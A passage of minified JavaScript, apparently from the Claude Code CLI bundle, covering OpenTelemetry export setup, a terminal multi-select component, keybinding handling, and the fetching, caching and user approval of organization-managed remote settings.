timeout")),W))])}catch{}}),G.getMeter("com.anthropic.claude_code",{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION)}let $=new QFA.MeterProvider({resource:X,views:[],readers:A});if(jR1($),UL6()){let G=O$2();if(G.length>0){let Z=new Vt.LoggerProvider({resource:X,processors:G.map((D)=>new Vt.BatchLogRecordProcessor(D,{scheduledDelayMillis:parseInt(process.env.OTEL_LOGS_EXPORT_INTERVAL||cs7.toString())}))});FFA.logs.setGlobalLoggerProvider(Z),WR1(Z);let W=FFA.logs.getLogger("com.anthropic.claude_code.events",{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION);DR1(W),process.on("beforeExit",async()=>{await Z?.forceFlush(),await HzA()?.forceFlush()}),process.on("exit",()=>{Z?.forceFlush(),HzA()?.forceFlush()})}}if(UL6()&&IP6()){let G=X$2();if(G.length>0){let Z=G.map((D)=>new ft.BatchSpanProcessor(D,{scheduledDelayMillis:parseInt(process.env.OTEL_TRACES_EXPORT_INTERVAL||ls7.toString())})),W=new ft.BasicTracerProvider({resource:X,spanProcessors:Z});X3A.trace.setGlobalTracerProvider(W),MR1(W)}}return kK(async()=>{let G=parseInt(process.env.CLAUDE_CODE_OTEL_SHUTDOWN_TIMEOUT_MS||"2000");try{DmA();let Z=[$.shutdown()],W=unA();if(W)Z.push(W.shutdown());let D=HzA();if(D)Z.push(D.shutdown());await Promise.race([Promise.all(Z),new Promise((j,M)=>setTimeout(()=>M(Error("OpenTelemetry shutdown timeout")),G))])}catch(Z){if(Z instanceof Error&&Z.message.includes("timeout"))h(` OpenTelemetry telemetry flush timed out after ${G}ms To resolve this issue, you can: 1. Increase the timeout by setting CLAUDE_CODE_OTEL_SHUTDOWN_TIMEOUT_MS env var (e.g., 5000 for 5 seconds) 2. Check if your OpenTelemetry backend is experiencing scalability issues 3. Disable OpenTelemetry by unsetting CLAUDE_CODE_ENABLE_TELEMETRY env var Current timeout: ${G}ms `,{level:"error"});throw Z}}),$.getMeter("com.anthropic.claude_code",{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION)}async function ns7(){let A=$r6();if(!A)return;let K=parseInt(process.env.CLAUDE_CODE_OTEL_FLUSH_TIMEOUT_MS||"5000");try{let q=[A.forceFlush()],Y=unA();if(Y)q.push(Y.forceFlush());let z=HzA();if(z)q.push(z.forceFlush());await Promise.race([Promise.all(q),new Promise((w,H)=>setTimeout(()=>H(Error("OpenTelemetry flush timeout")),K))]),h("Telemetry flushed successfully")}catch(q){if(q instanceof Error&&q.message.includes("timeout"))h(`Telemetry flush timed out after ${K}ms. Some metrics may not be exported.`,{level:"warn"});else h(`Telemetry flush failed: ${q instanceof Error?q.message:String(q)}`,{level:"error"})}}function Z$2(){let A={},K=process.env.OTEL_EXPORTER_OTLP_HEADERS;if(K)for(let q of K.split(",")){let[Y,...z]=q.split("=");if(Y&&z.length>0)A[Y.trim()]=z.join("=").trim()}return A}function iL6(){let A=dn(),K=Ny(),q=J8(),Y={},z=Z$2();if(q?.otelHeadersHelper)Y.headers=async()=>{let J=rs7();return{...z,...J}};else if(Object.keys(z).length>0)Y.headers=async()=>z;let w=process.env.OTEL_EXPORTER_OTLP_ENDPOINT;if(!A||w&&Dq1(w)){if(K)Y.httpAgentOptions=K;return Y}let H=(J)=>{return K?new pL6.HttpsProxyAgent(A,{cert:K.cert,key:K.key,passphrase:K.passphrase}):new pL6.HttpsProxyAgent(A)};return Y.httpAgentOptions=H,Y}var X3A,FFA,QFA,Bs7,ms7,gs7,Fs7,dL6,Vt,Qs7,Us7,cL6,ft,ps7,ds7,lL6,vS,Pt,pL6,w$2=60000,cs7=5000,ls7=5000;var nL6=k(()=>{xs7();us7();R2();TQ();x4();q6();Ys();a_1();B5();x4();I8();Z1();a4A();r0A();l6();b1();WmA();X3A=o(RK(),1),FFA=o(l56(),1),QFA=o(ss(),1),Bs7=o(nQ7(),1),ms7=o(Jo7(),1),gs7=o(fD1(),1),Fs7=o(jo7(),1),dL6=o(ss(),1),Vt=o(v36(),1),Qs7=o(Eo7(),1),Us7=o(Io7(),1),cL6=o(go7(),1),ft=o(_s7(),1),ps7=o(Vs7(),1),ds7=o(ks7(),1),lL6=o(bs7(),1),vS=o(eXA(),1),Pt=o(Q4A(),1),pL6=o(KRA(),1)});var TRH,os7;var as7=k(()=>{z7();TRH=U.object({checksum:U.string(),version:U.string().optional()}),os7=U.object({uuid:U.string(),checksum:U.string(),settings:U.record(U.string(),U.unknown())})});function ss7({isDisabled:A=!1,visibleOptionCount:K=5,options:q,defaultValue:Y=[],onChange:z,onCancel:w,onFocus:H,focusValue:J,submitButtonText:O,onSubmit:X,onDownFromLastItem:$,onUpFromFirstItem:_,initialFocusLast:G}){let[Z,W]=$3A.useState(Y),[D,j]=$3A.useState(!1),[M,P]=$3A.useState(()=>{let C=new Map;return q.forEach((R)=>{if(R.type==="input"&&R.initialValue)C.set(R.value,R.initialValue)}),C}),f=$3A.useCallback((C)=>{let R=typeof C==="function"?C(Z):C;W(R),z?.(R)},[Z,z]),N=B_1({visibleOptionCount:K,options:q,initialFocusValue:G?q[q.length-1]?.value:void 0,onFocus:H,focusValue:J});nC("multi-select");let T=$3A.useCallback((C,R)=>{P((y)=>{let B=new Map(y);return B.set(C,R),B});let x=q.find((y)=>y.value===C);if(x&&x.type==="input")x.onChange(R);f((y)=>{if(R){if(!y.includes(C))return[...y,C];return y}else return y.filter((B)=>B!==C)})},[q,f]);return K8((C,R,x)=>{let y=oa(C),b=q.find((Q)=>Q.value===N.focusedValue)?.type==="input";if(b){if(!(R.upArrow||R.downArrow||R.escape||R.tab||R.return||R.ctrl&&(C==="n"||C==="p"||R.return)))return}let F=q[q.length-1]?.value;if(R.tab&&!R.shift){if(O&&X&&N.focusedValue===F&&!D)j(!0);else if(!D)N.focusNextOption();return}if(R.tab&&R.shift){if(O&&X&&D)j(!1),N.focusOption(F);else N.focusPreviousOption();return}if(R.downArrow||R.ctrl&&C==="n"||!R.ctrl&&!R.shift&&C==="j"){if(D&&$)$();else if(O&&X&&N.focusedValue===F&&!D)j(!0);else if(!O&&$&&N.focusedValue===F)$();else if(!D)N.focusNextOption();return}if(R.upArrow||R.ctrl&&C==="p"||!R.ctrl&&!R.shift&&C==="k"){if(O&&X&&D)j(!1),N.focusOption(F);else if(_&&N.focusedValue===q[0]?.value)_();else N.focusPreviousOption();return}if(R.pageDown){N.focusNextPage();return}if(R.pageUp){N.focusPreviousPage();return}if(R.return||C===" "){if(R.ctrl&&R.return&&b&&X){X();return}if(D&&X){X();return}if(N.focusedValue!==void 0){let Q=Z.includes(N.focusedValue)?Z.filter((u)=>u!==N.focusedValue):[...Z,N.focusedValue];f(Q)}return}if(/^[0-9]+$/.test(y)){let Q=parseInt(y)-1;if(Q>=0&&Q<q.length){let u=q[Q].value,d=Z.includes(u)?Z.filter((r)=>r!==u):[...Z,u];f(d)}return}if(R.escape)w(),x.stopImmediatePropagation()},{isActive:!A}),{...N,selectedValues:Z,inputValues:M,isSubmitFocused:D,updateInputValue:T,onCancel:w}}var $3A;var ts7=k(()=>{mA();_B();DP6();$3A=o($A(),1)});function OM1(A){let K=s(40),{isDisabled:q,visibleOptionCount:Y,options:z,defaultValue:w,onCancel:H,onChange:J,onFocus:O,focusValue:X,submitButtonText:$,onSubmit:_,onDownFromLastItem:G,onUpFromFirstItem:Z,initialFocusLast:W,onOpenEditor:D,hideIndexes:j}=A,M=q===void 0?!1:q,P=Y===void 0?5:Y,f;if(K[0]!==w)f=w===void 0?[]:w,K[0]=w,K[1]=f;else f=K[1];let N=f,T=j===void 0?!1:j,C;if(K[2]!==N||K[3]!==X||K[4]!==W||K[5]!==M||K[6]!==H||K[7]!==J||K[8]!==G||K[9]!==O||K[10]!==_||K[11]!==Z||K[12]!==z||K[13]!==$||K[14]!==P)C={isDisabled:M,visibleOptionCount:P,options:z,defaultValue:N,onChange:J,onCancel:H,onFocus:O,focusValue:X,submitButtonText:$,onSubmit:_,onDownFromLastItem:G,onUpFromFirstItem:Z,initialFocusLast:W},K[2]=N,K[3]=X,K[4]=W,K[5]=M,K[6]=H,K[7]=J,K[8]=G,K[9]=O,K[10]=_,K[11]=Z,K[12]=z,K[13]=$,K[14]=P,K[15]=C;else C=K[15];let R=ss7(C),x,y,B,b,F;if(K[16]!==T||K[17]!==M||K[18]!==H||K[19]!==D||K[20]!==z.length||K[21]!==R){let r=z.length.toString().length;y=S,F="column",x=S,B="column",b=R.visibleOptions.map((c,YA)=>{let e=!M&&R.focusedValue===c.value&&!R.isSubmitFocused,qA=R.selectedValues.includes(c.value),HA=c.index===R.visibleFromIndex,_A=c.index===R.visibleToIndex-1,a=R.visibleToIndex<z.length,JA=R.visibleFromIndex>0,jA=R.visibleFromIndex+YA+1;if(c.type==="input"){let MA=R.inputValues.get(c.value)||"";return Gj.default.createElement(S,{key:String(c.value),gap:1},Gj.default.createElement(WWA,{option:c,isFocused:e,isSelected:!1,shouldShowDownArrow:a&&_A,shouldShowUpArrow:JA&&HA,maxIndexWidth:r,index:jA,inputValue:MA,onInputChange:(hA)=>{R.updateInputValue(c.value,hA)},onSubmit:W$2,onExit:()=>{H()},layout:"compact",onOpenEditor:D},Gj.default.createElement(V,{color:qA?"success":void 0},"[",qA?eA.tick:" ","]"," ")))}return Gj.default.createElement(S,{key:String(c.value),gap:1},Gj.default.createElement(sa,{isFocused:e,isSelected:!1,shouldShowDownArrow:a&&_A,shouldShowUpArrow:JA&&HA,description:c.description},!T&&Gj.default.createElement(V,{dimColor:!0},`${jA}.`.padEnd(r)),Gj.default.createElement(V,{color:!T&&qA?"success":void 0},"[",qA?eA.tick:" ","]"),Gj.default.createElement(V,{color:e?"suggestion":void 0},c.label)))}),K[16]=T,K[17]=M,K[18]=H,K[19]=D,K[20]=z.length,K[21]=R,K[22]=x,K[23]=y,K[24]=B,K[25]=b,K[26]=F}else x=K[22],y=K[23],B=K[24],b=K[25],F=K[26];let Q;if(K[27]!==x||K[28]!==B||K[29]!==b)Q=Gj.default.createElement(x,{flexDirection:B},b),K[27]=x,K[28]=B,K[29]=b,K[30]=Q;else Q=K[30];let u;if(K[31]!==_||K[32]!==R.isSubmitFocused||K[33]!==$)u=$&&_&&Gj.default.createElement(S,{marginTop:0,gap:1},R.isSubmitFocused?Gj.default.createElement(V,{color:"suggestion"},eA.pointer):Gj.default.createElement(V,null," "),Gj.default.createElement(S,{marginLeft:3},Gj.default.createElement(V,{color:R.isSubmitFocused?"suggestion":void 0,bold:!0},$))),K[31]=_,K[32]=R.isSubmitFocused,K[33]=$,K[34]=u;else u=K[34];let d;if(K[35]!==y||K[36]!==Q||K[37]!==u||K[38]!==F)d=Gj.default.createElement(y,{flexDirection:F},Q,u),K[35]=y,K[36]=Q,K[37]=u,K[38]=F,K[39]=d;else d=K[39];return d}function W$2(){}var Gj;var rL6=k(()=>{cA();g4();mA();PP6();x_1();ts7();Gj=o($A(),1)});var q9=k(()=>{L3();rL6()});function bjA(A){let K=s(13),{title:q,subtitle:Y,color:z,workerBadge:w}=A,H=z===void 0?"permission":z,J;if(K[0]!==H||K[1]!==q)J=ES.createElement(V,{bold:!0,color:H},q),K[0]=H,K[1]=q,K[2]=J;else J=K[2];let O;if(K[3]!==w)O=w&&ES.createElement(V,{dimColor:!0},"· ","@",w.name),K[3]=w,K[4]=O;else O=K[4];let X;if(K[5]!==J||K[6]!==O)X=ES.createElement(S,{flexDirection:"row",gap:1},J,O),K[5]=J,K[6]=O,K[7]=X;else X=K[7];let $;if(K[8]!==Y)$=Y!=null&&(typeof Y==="string"?ES.createElement(V,{dimColor:!0,wrap:"truncate-start"},Y):Y),K[8]=Y,K[9]=$;else $=K[9];let _;if(K[10]!==X||K[11]!==$)_=ES.createElement(S,{flexDirection:"column"},X,$),K[10]=X,K[11]=$,K[12]=_;else _=K[12];return _}var ES;var XM1=k(()=>{cA();mA();ES=o($A(),1)});function yw(A){let K=s(15),{title:q,subtitle:Y,color:z,titleColor:w,innerPaddingX:H,workerBadge:J,titleRight:O,children:X}=A,$=z===void 0?"permission":z,_=H===void 0?1:H,G;if(K[0]!==Y||K[1]!==q||K[2]!==w||K[3]!==J)G=kS.createElement(bjA,{title:q,subtitle:Y,color:w,workerBadge:J}),K[0]=Y,K[1]=q,K[2]=w,K[3]=J,K[4]=G;else G=K[4];let Z;if(K[5]!==G||K[6]!==O)Z=kS.createElement(S,{paddingX:1,flexDirection:"column"},kS.createElement(S,{justifyContent:"space-between"},G,O)),K[5]=G,K[6]=O,K[7]=Z;else Z=K[7];let W;if(K[8]!==X||K[9]!==_)W=kS.createElement(S,{flexDirection:"column",paddingX:_},X),K[8]=X,K[9]=_,K[10]=W;else W=K[10];let D;if(K[11]!==$||K[12]!==Z||K[13]!==W)D=kS.createElement(S,{flexDirection:"column",borderStyle:"round",borderColor:$,borderLeft:!1,borderRight:!1,borderBottom:!1,marginTop:1},Z,W),K[11]=$,K[12]=Z,K[13]=W,K[14]=D;else D=K[14];return D}var kS;var _v=k(()=>{cA();mA();XM1();kS=o($A(),1)});var es7,_3A;var $M1=k(()=>{es7=["apiKeyHelper","awsAuthRefresh","awsCredentialExport","otelHeadersHelper","statusLine"],_3A=new Set(["ANTHROPIC_CUSTOM_HEADERS","ANTHROPIC_DEFAULT_HAIKU_MODEL","ANTHROPIC_DEFAULT_OPUS_MODEL","ANTHROPIC_DEFAULT_SONNET_MODEL","ANTHROPIC_FOUNDRY_API_KEY","ANTHROPIC_MODEL","ANTHROPIC_SMALL_FAST_MODEL_AWS_REGION","ANTHROPIC_SMALL_FAST_MODEL","AWS_DEFAULT_REGION","AWS_PROFILE","AWS_REGION","BASH_DEFAULT_TIMEOUT_MS","BASH_MAX_OUTPUT_LENGTH","BASH_MAX_TIMEOUT_MS","CLAUDE_BASH_MAINTAIN_PROJECT_WORKING_DIR","CLAUDE_BASH_NO_LOGIN","CLAUDE_CODE_API_KEY_HELPER_TTL_MS","CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS","CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC","CLAUDE_CODE_DISABLE_TERMINAL_TITLE","CLAUDE_CODE_ENABLE_TELEMETRY","CLAUDE_CODE_IDE_SKIP_AUTO_INSTALL","CLAUDE_CODE_MAX_OUTPUT_TOKENS","CLAUDE_CODE_SKIP_BEDROCK_AUTH","CLAUDE_CODE_SKIP_FOUNDRY_AUTH","CLAUDE_CODE_SKIP_VERTEX_AUTH","CLAUDE_CODE_SUBAGENT_MODEL","CLAUDE_CODE_USE_BEDROCK","CLAUDE_CODE_USE_FOUNDRY","CLAUDE_CODE_USE_VERTEX","DISABLE_AUTOUPDATER","DISABLE_BUG_COMMAND","DISABLE_COST_WARNINGS","DISABLE_ERROR_REPORTING","DISABLE_TELEMETRY","ENABLE_EXPERIMENTAL_MCP_CLI","ENABLE_TOOL_SEARCH","MAX_MCP_OUTPUT_TOKENS","MAX_THINKING_TOKENS","MCP_TIMEOUT","MCP_TOOL_TIMEOUT","OTEL_EXPORTER_OTLP_HEADERS","OTEL_EXPORTER_OTLP_LOGS_HEADERS","OTEL_EXPORTER_OTLP_LOGS_PROTOCOL","OTEL_EXPORTER_OTLP_METRICS_CLIENT_CERTIFICATE","OTEL_EXPORTER_OTLP_METRICS_CLIENT_KEY","OTEL_EXPORTER_OTLP_METRICS_HEADERS","OTEL_EXPORTER_OTLP_METRICS_PROTOCOL","OTEL_EXPORTER_OTLP_PROTOCOL","OTEL_EXPORTER_OTLP_TRACES_HEADERS","OTEL_LOG_USER_PROMPTS","OTEL_LOGS_EXPORT_INTERVAL","OTEL_LOGS_EXPORTER","OTEL_METRIC_EXPORT_INTERVAL","OTEL_METRICS_EXPORTER","OTEL_METRICS_INCLUDE_ACCOUNT_UUID","OTEL_METRICS_INCLUDE_SESSION_ID","OTEL_METRICS_INCLUDE_VERSION","OTEL_RESOURCE_ATTRIBUTES","USE_BUILTIN_RIPGREP","VERTEX_REGION_CLAUDE_3_5_HAIKU","VERTEX_REGION_CLAUDE_3_5_SONNET","VERTEX_REGION_CLAUDE_3_7_SONNET","VERTEX_REGION_CLAUDE_4_0_OPUS","VERTEX_REGION_CLAUDE_4_0_SONNET","VERTEX_REGION_CLAUDE_4_1_OPUS","VERTEX_REGION_CLAUDE_HAIKU_4_5"])});function xjA(A){if(!A)return{shellSettings:{},envVars:{},hasHooks:!1};let K={};for(let z of es7){let w=A[z];if(typeof w==="string"&&w.length>0)K[z]=w}let q={};if(A.env&&typeof A.env==="object"){for(let[z,w]of Object.entries(A.env))if(typeof w==="string"&&w.length>0){if(!_3A.has(z.toUpperCase()))q[z]=w}}let Y=A.hooks!==void 0&&A.hooks!==null&&typeof A.hooks==="object"&&Object.keys(A.hooks).length>0;return{shellSettings:K,envVars:q,hasHooks:Y,hooks:Y?A.hooks:void 0}}function _M1(A){return Object.keys(A.shellSettings).length>0||Object.keys(A.envVars).length>0||A.hasHooks}function At7(A,K){let q=xjA(A),Y=xjA(K);if(!_M1(Y))return!1;if(!_M1(q))return!0;let z=UA({shellSettings:q.shellSettings,envVars:q.envVars,hooks:q.hooks}),w=UA({shellSettings:Y.shellSettings,envVars:Y.envVars,hooks:Y.hooks});return z!==w}function Kt7(A){let K=[];for(let q of Object.keys(A.shellSettings))K.push(q);for(let q of Object.keys(A.envVars))K.push(q);if(A.hasHooks)K.push("hooks");return K}var oL6=k(()=>{$M1();b1()});function qt7(A){let K=s(26),{settings:q,onAccept:Y,onReject:z}=A,w=xjA(q),H=Kt7(w),J=n8(),O;if(K[0]===Symbol.for("react.memo_cache_sentinel"))O={context:"Confirmation"},K[0]=O;else O=K[0];J6("confirm:no",z,O);let X;if(K[1]!==Y||K[2]!==z)X=function(r){if(r==="exit"){z();return}Y()},K[1]=Y,K[2]=z,K[3]=X;else X=K[3];let $=X,_=yw,G="warning",Z="warning",W="Managed settings require approval",D=S,j="column",M=1,P=1,f;if(K[4]===Symbol.for("react.memo_cache_sentinel"))f=fW.default.createElement(V,null,"Your organization has configured managed settings that could allow execution of arbitrary code or interception of your prompts and responses."),K[4]=f;else f=K[4];let N=S,T="column",C;if(K[5]===Symbol.for("react.memo_cache_sentinel"))C=fW.default.createElement(V,{dimColor:!0},"Settings requiring approval:"),K[5]=C;else C=K[5];let R=H.map(D$2),x;if(K[6]!==N||K[7]!==C||K[8]!==R)x=fW.default.createElement(N,{flexDirection:T},C,R),K[6]=N,K[7]=C,K[8]=R,K[9]=x;else x=K[9];let y;if(K[10]===Symbol.for("react.memo_cache_sentinel"))y=fW.default.createElement(V,null,"Only accept if you trust your organization's IT administration and expect these settings to be configured."),K[10]=y;else y=K[10];let B;if(K[11]===Symbol.for("react.memo_cache_sentinel"))B=[{label:"Yes, I trust these settings",value:"accept"},{label:"No, exit Claude Code",value:"exit"}],K[11]=B;else B=K[11];let b;if(K[12]!==$)b=fW.default.createElement(E6,{options:B,onChange:(d)=>$(d),onCancel:()=>$("exit")}),K[12]=$,K[13]=b;else b=K[13];let F;if(K[14]!==J.keyName||K[15]!==J.pending)F=fW.default.createElement(V,{dimColor:!0},J.pending?fW.default.createElement(fW.default.Fragment,null,"Press ",J.keyName," again to exit"):fW.default.createElement(fW.default.Fragment,null,"Enter to confirm · Esc to exit")),K[14]=J.keyName,K[15]=J.pending,K[16]=F;else F=K[16];let Q;if(K[17]!==D||K[18]!==x||K[19]!==b||K[20]!==F||K[21]!==f)Q=fW.default.createElement(D,{flexDirection:j,gap:M,paddingTop:P},f,x,y,b,F),K[17]=D,K[18]=x,K[19]=b,K[20]=F,K[21]=f,K[22]=Q;else Q=K[22];let u;if(K[23]!==_||K[24]!==Q)u=fW.default.createElement(_,{color:G,titleColor:Z,title:W},Q),K[23]=_,K[24]=Q,K[25]=u;else u=K[25];return u}function D$2(A,K){return fW.default.createElement(S,{key:K,paddingLeft:2},fW.default.createElement(V,null,fW.default.createElement(V,{dimColor:!0},"· "),fW.default.createElement(V,null,A)))}var fW;var Yt7=k(()=>{cA();mA();q9();_v();Iq();C8();oL6();fW=o($A(),1)});import{openSync as j$2}from"fs";import{ReadStream as M$2}from"tty";function P$2(){if($d!==null)return $d;if(process.stdin.isTTY){$d=void 0;return}if(P1(!1)){$d=void 0;return}if(process.argv.includes("mcp")){$d=void 0;return}if(process.platform==="win32"){$d=void 0;return}try{let A=j$2("/dev/tty","r"),K=new M$2(A);return K.isTTY=!0,$d=K,$d}catch(A){KA(A),$d=void 0;return}}function Iw(A=!1){let K=P$2(),q={exitOnCtrlC:A};if(K)q.stdin=K;return q}var $d=null;var dB=k(()=>{l6();C1()});function f$2(A,K){let q=s(9),{addNotification:Y,removeNotification:z}=mK(),w;if(q[0]!==Y||q[1]!==z||q[2]!==A)w=()=>{if(A.length===0){z("keybinding-config-warning");return}let J=A.filter(T$2).length,O=A.filter(N$2).length,X;if(J>0&&O>0)X=`Found ${J} keybinding error${J>1?"s":""} and ${O} warning${O>1?"s":""}`;else if(J>0)X=`Found ${J} keybinding error${J>1?"s":""}`;else X=`Found ${O} keybinding warning${O>1?"s":""}`;X=X+" · /doctor for details",Y({key:"keybinding-config-warning",text:X,color:J>0?"error":"warning",priority:J>0?"immediate":"high",timeoutMs:60000})},q[0]=Y,q[1]=z,q[2]=A,q[3]=w;else w=q[3];let H;if(q[4]!==Y||q[5]!==K||q[6]!==z||q[7]!==A)H=[A,K,Y,z],q[4]=Y,q[5]=K,q[6]=z,q[7]=A,q[8]=H;else H=q[8];C$.useEffect(w,H)}function N$2(A){return A.severity==="warning"}function T$2(A){return A.severity==="error"}function Ez({children:A}){let[{bindings:K,warnings:q},Y]=C$.useState(()=>{let j=qIA();return h(`[keybindings] KeybindingSetup initialized with ${j.bindings.length} bindings, ${j.warnings.length} warnings`),j}),[z,w]=C$.useState(!1);f$2(q,z);let H=C$.useRef(null),[J,O]=C$.useState(null),X=C$.useRef(null),$=C$.useRef(new Map),_=C$.useRef(new Set),G=C$.useCallback((j)=>{_.current.add(j)},[]),Z=C$.useCallback((j)=>{_.current.delete(j)},[]),W=C$.useCallback(()=>{if(X.current)clearTimeout(X.current),X.current=null},[]),D=C$.useCallback((j)=>{if(W(),j!==null)X.current=setTimeout(()=>{h("[keybindings] Chord timeout - cancelling"),H.current=null,O(null)},V$2);H.current=j,O(j)},[W]);return C$.useEffect(()=>{i_4();let j=n_4((M)=>{w(!0),Y(M),h(`[keybindings] Reloaded: ${M.bindings.length} bindings, ${M.warnings.length} warnings`)});return()=>{j(),W()}},[W]),C$.default.createElement($31,{bindings:K,pendingChordRef:H,pendingChord:J,setPendingChord:D,activeContexts:_.current,registerActiveContext:G,unregisterActiveContext:Z,handlerRegistryRef:$},C$.default.createElement(v$2,{bindings:K,pendingChordRef:H,setPendingChord:D,activeContexts:_.current,handlerRegistryRef:$}),A)}function v$2(A){let K=s(6),{bindings:q,pendingChordRef:Y,setPendingChord:z,activeContexts:w,handlerRegistryRef:H}=A,J;if(K[0]!==w||K[1]!==q||K[2]!==H||K[3]!==Y||K[4]!==z)J=(X,$,_)=>{let G=H.current,Z=new Set;if(G)for(let M of G.values())for(let P of M)Z.add(P.context);let W=[...Z,...w,"Global"],D=Y.current!==null,j=O31(X,$,W,q,Y.current);A:switch(j.type){case"chord_started":{z(j.pending),_.stopImmediatePropagation();break A}case"match":{if(z(null),D){let M=new Set(W);if(G){let P=G.get(j.action);if(P&&P.size>0){for(let f of P)if(M.has(f.context)){f.handler(),_.stopImmediatePropagation();break}}}}break A}case"chord_cancelled":{z(null);break A}case"unbound":{z(null);break A}case"none":}},K[0]=w,K[1]=q,K[2]=H,K[3]=Y,K[4]=z,K[5]=J;else J=K[5];return K8(J),null}var C$,V$2=1000;var cB=k(()=>{cA();mA();SQ();jr();Z1();kz();X31();C$=o($A(),1)});async function zt7(A,K){if(!K||!_M1(xjA(K)))return"no_check_needed";if(!At7(A,K))return"no_check_needed";if(!JzA())return"no_check_needed";return n("tengu_managed_settings_security_dialog_shown",{}),new Promise((q)=>{(async()=>{let{unmount:Y}=await M9(GM1.default.createElement($Y,null,GM1.default.createElement(Ez,null,GM1.default.createElement(qt7,{settings:K,onAccept:()=>{n("tengu_managed_settings_security_dialog_accepted",{}),Y(),q("approved")},onReject:()=>{n("tengu_managed_settings_security_dialog_rejected",{}),Y(),q("rejected")}}))),Iw(!1))})()})}function wt7(A){if(A==="rejected")return Y5(1),!1;return!0}var GM1;var Ht7=k(()=>{mA();Yt7();A4();q6();l1();Sw();oL6();dB();cB();GM1=o($A(),1)});import{join as E$2}from"path";import{createHash as k$2}from"crypto";import{existsSync as tL6,unlinkSync as Jt7}from"fs";function Ot7(){if(G3A)return;if(Gd())G3A=new Promise((A)=>{_d=A,setTimeout(()=>{if(_d)h("Remote settings: Loading promise timed out, resolving anyway"),_d(),_d=null},y$2)})}function ZM1(){return E$2(w8(),C$2)}function I$2(){return`${E7().BASE_API_URL}/api/claude_code/settings`}function sL6(A){if(Array.isArray(A))return A.map(sL6);if(A!==null&&typeof A==="object"){let K={};for(let q of Object.keys(A).sort())K[q]=sL6(A[q]);return K}return A}function S$2(A){let K=sL6(A),q=UA(K);return`sha256:${k$2("sha256").update(q).digest("hex")}`}function Gd(){if(c7()!=="firstParty")return!1;if(!pJA())return!1;try{let{key:K}=z0({skipRetrievingKeyFromApiKeyHelper:!0});if(K)return!0}catch{}let A=LK();if(!A?.accessToken)return!1;if(!A.scopes?.includes(Ab))return!1;if(A.subscriptionType!=="enterprise")return!1;return!0}function eL6(){return Gd()}async function Xt7(){if(G3A)await G3A}function h$2(){try{let{key:K}=z0({skipRetrievingKeyFromApiKeyHelper:!0});if(K)return{headers:{"x-api-key":K}}}catch{}let A=LK();if(A?.accessToken)return{headers:{Authorization:`Bearer ${A.accessToken}`,"anthropic-beta":LE}};return{headers:{},error:"No authentication available"}}async function b$2(A){let K=null;for(let q=1;q<=aL6+1;q++){if(K=await x$2(A),K.success)return K;if(K.skipRetry)return K;if(q>aL6)return K;let Y=xp(q);h(`Remote settings: Retry ${q}/${aL6} after ${Y}ms`),await Iu(Y)}return K}async function x$2(A){try{await rZ();let K=h$2();if(K.error)return{success:!1,error:"Authentication required for remote settings",skipRetry:!0};let q=I$2(),Y={...K.headers,"User-Agent":uH()};if(A)Y["If-None-Match"]=`"${A}"`;let z=await A8.get(q,{headers:Y,timeout:L$2,validateStatus:(J)=>J===200||J===304||J===404});if(z.status===304)return h("Remote settings: Using cached settings (304)"),{success:!0,settings:null,checksum:A};if(z.status===404)return h("Remote settings: No settings found (404)"),{success:!0,settings:{},checksum:void 0};let w=os7.safeParse(z.data);if(!w.success)return h(`Remote settings: Invalid response format - ${w.error.message}`),{success:!1,error:"Invalid remote settings format"};let H=tI.safeParse(w.data.settings);if(!H.success)return h(`Remote settings: Settings validation failed - ${H.error.message}`),{success:!1,error:"Invalid settings structure"};return h("Remote settings: Fetched successfully"),{success:!0,settings:H.data,checksum:w.data.checksum}}catch(K){if(A8.isAxiosError(K)){let q=K;if(q.response?.status===404)return{success:!0,settings:{},checksum:""};if(q.response?.status===401||q.response?.status===403)return{success:!1,error:"Not authorized for remote settings",skipRetry:!0};if(q.code==="ECONNABORTED")return{success:!1,error:"Remote settings request timeout"};if(q.code==="ECONNREFUSED"||q.code==="ENOTFOUND")return{success:!1,error:"Cannot connect to server"}}return{success:!1,error:K instanceof Error?K.message:"Unknown error"}}}function $t7(){try{let A=ZM1();if(!tL6(A))return null;let K=d0(A),q=P3(K,!1);if(!q||typeof q!=="object"||Array.isArray(q))return null;return q}catch{return null}}function u$2(A){try{let K=ZM1();Hf(K,UA(A,null,2),{encoding:"utf-8",mode:384}),h(`Remote settings: Saved to ${K}`)}catch(K){h(`Remote settings: Failed to save - ${K instanceof Error?K.message:"unknown error"}`)}}function AR6(){Zt7(),Gv=null,G3A=null,_d=null;try{let A=ZM1();if(tL6(A))Jt7(A)}catch{}}async function KR6(){if(!Gd())return null;let A=$t7(),K=A?S$2(A):void 0;try{let q=await b$2(K);if(!q.success){if(A)return h("Remote settings: Using stale cache after fetch failure"),Gv=A,A;return null}if(q.settings===null&&A)return h("Remote settings: Cache still valid (304 Not Modified)"),Gv=A,A;let Y=q.settings||{};if(Object.keys(Y).length>0){let w=await zt7(A,Y);if(!wt7(w))return h("Remote settings: User rejected new settings, using cached settings"),A;return Gv=Y,u$2(Y),h("Remote settings: Applied new settings successfully"),Y}Gv=Y;try{let w=ZM1();if(tL6(w))Jt7(w),h("Remote settings: Deleted cached file (404 response)")}catch(w){h(`Remote settings: Failed to delete cached file - ${w instanceof Error?w.message:"unknown error"}`)}return Y}catch{if(A)return h("Remote settings: Using stale cache after error"),Gv=A,A;return null}}function qR6(){if(!Gd())return null;if(Gv)return Gv;let A=$t7();if(A)return Gv=A,A;return null}async function _t7(){if(Gd()&&!G3A)G3A=new Promise((A)=>{_d=A});try{let A=await 